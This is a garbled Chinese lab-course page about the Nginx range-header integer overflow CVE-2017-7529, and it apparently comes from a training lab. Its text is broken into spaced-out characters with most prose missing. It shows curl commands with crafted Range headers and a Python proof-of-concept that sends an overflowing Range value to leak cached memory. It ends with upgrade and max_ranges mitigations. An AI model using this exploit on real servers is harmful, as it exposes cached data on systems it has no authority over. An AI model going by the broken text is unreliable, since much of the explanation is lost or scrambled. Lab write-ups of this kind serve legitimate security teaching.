[19147] 2017-11-10_【实验课】Nginx整数溢出漏洞(CVE-2017-7529)

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2017-11-10_【实验课】Nginx整数溢出漏洞(CVE-2017-7529) N g i n x C V E - 2 0 1 7 - 7 5 2 9 i   2 0 1 7 - 1 1 - 1 0 N g i n x   ( e n g i n e   x )   H T T P I M A P / P O P 3 / S M T P N g i n x     U n i x L i n u x   O S     W i n d o w s     N g i n x   1 . 4 . 0 2 0 1 3 4 2 4 使 N g i n x   使   2 - c l a u s e   B S D - l i k e   l i c e n s e N g i n x   W e b N g i n x A p a c h e N g i n x   5 0 , 0 0 0   N g i n x   e p o l l   a n d   k q u e u e N g i n x C V E C V E - 2 0 1 7 - 7 5 2 9 n g i n x 0 . 5 . 6   -   1 . 1 3 . 2 N g i n x 访 访 N g i n x 使 I P l o w - h a n g i n g - f r u i t ~ w i n d o w s   X P L i n u x I P 1 7 2 . 1 6 . 1 2 . 2
N g i n x N g i n x N g i n x W e b   / I M A P / P O P 3 B S D - l i k e   N g i n x     U n i x L i n u x   O S     W i n d o w s   N g i n x C V E C V E - 2 0 1 7 - 7 5 2 9 n g i n x 0 . 5 . 6   -   1 . 1 3 . 2 N g i n x N g i n x 使 I P l o w - h a n g i n g - f r u i t 0 . 5 . 6   -   1 . 1 3 . 2 1 p a t c h h t t p   h e a d e r r a n g e n g x _ h t t p _ r a n g e _ p a r s e  

H T T P r a n g e R a n g e :   b y t e s = 4 0 9 6 - 8 1 9 2   b y t e s = - p b y t e s = -   s t a r t     e n d   s t a r t   s u f f i x   =   1 R a n g e   R a n g e : b y t e s = - x x x   s t a r t     R a n g e     e n d   c o n t e n t _ l e n g t h   s t a r t     e n d     s t a r t     e n d  
  s i z e   =   e n d     1   > =   c o n t e n t _ l e n g t h   e n d   >   c o n t e n t _ l e n g t h   i f   ( s i z e > c o n t e n t _ l e n g t h ) { r e t u r n   N G X D E C L I N F D ; }   e n d   i f   ( * p + +   ! = ' , ' ) {   b r e a k ; }   R a n g e   R a n g e :   b y t e s = s t a r t - e n d , s t a r t 1 - e n d 1 ,   R a n g e :   b y t e s = - X ,   - Y   e n d     e n d     e n d     s t a r t     s i z e     s t a r t   2 使 E v e r y t h i n g X s h e l l 1 7 2 . 1 6 . 1 2 . 2 i c h u n q i u i c h u n q i u   访 C o n t e n t - L e n g t h r a n g e 访
c u r l   - I   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g   C o n t e n t - L e n g t h :   1 6 5 8 5 ,     1 7 2 0 8 ,   1 7 2 0 8 - 1 6 5 8 5 = 6 3 2   r a n g e     0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - 1 7 2 0 8 ,     9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0 r a n g c u r l   - i   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g   - r   - 1 7 2 0 8 , - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0 K e y P O C 使 P O C # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g : u t f - 8 i m p o r t   s y s i m p o r t   u r l l i b 2 i f   l e n ( s y s . a r g v )   <   2 :         p r i n t   " % s   u r l "   %   ( s y s . a r g v [ 0 ] )         p r i n t         p r i n t   " e g :   p y t h o n   % s h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / p r o x y / d e m o . p n g "   %   ( s y s . a r g v [ 0 ] )         s y s . e x i t ( ) u r l   =   s y s . a r g v [ 1 ] h e a d e r s   =   u r l l i b 2 . u r l o p e n ( u r l ,   t i m e o u t = 1 0 ) . h e a d e r s f i l e _ l e n   =   h e a d e r s [ " C o n t e n t - L e n g t h " ] r e q u e s t   =   u r l l i b 2 . R e q u e s t ( u r l ) r e q u e s t . a d d _ h e a d e r ( " R a n g e " ,   " b y t e s = - % d , - 9 2 2 3 3 7 2 0 3 6 8 5 4 % d "   %   (         i n t ( f i l e _ l e n )   +   6 2 3 ,   7 7 6 0 0 0   -   ( i n t ( f i l e _ l e n )   +   6 2 3 ) ) ) t r y :       c a c h e r e s   =   u r l l i b 2 . u r l o p e n ( r e q u e s t ,   t i m e o u t = 1 0 )         i f   c a c h e r e s . c o d e   = =   2 0 6   a n d   " C o n t e n t - R a n g e "   i n   c a c h e r e s . r e a d ( 2 0 4 8 ) :                 p r i n t   " V u l n e r a b l e : "   +   u r l e x c e p t :         p a s s C a c h e C a c h e C a c h e I P N g i n x 1 . 1 3 . 3 1 . 1 2 . 1 N g i n x m a x _ r a n g e s   1 m u l t i p a r t   r a n g e
~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则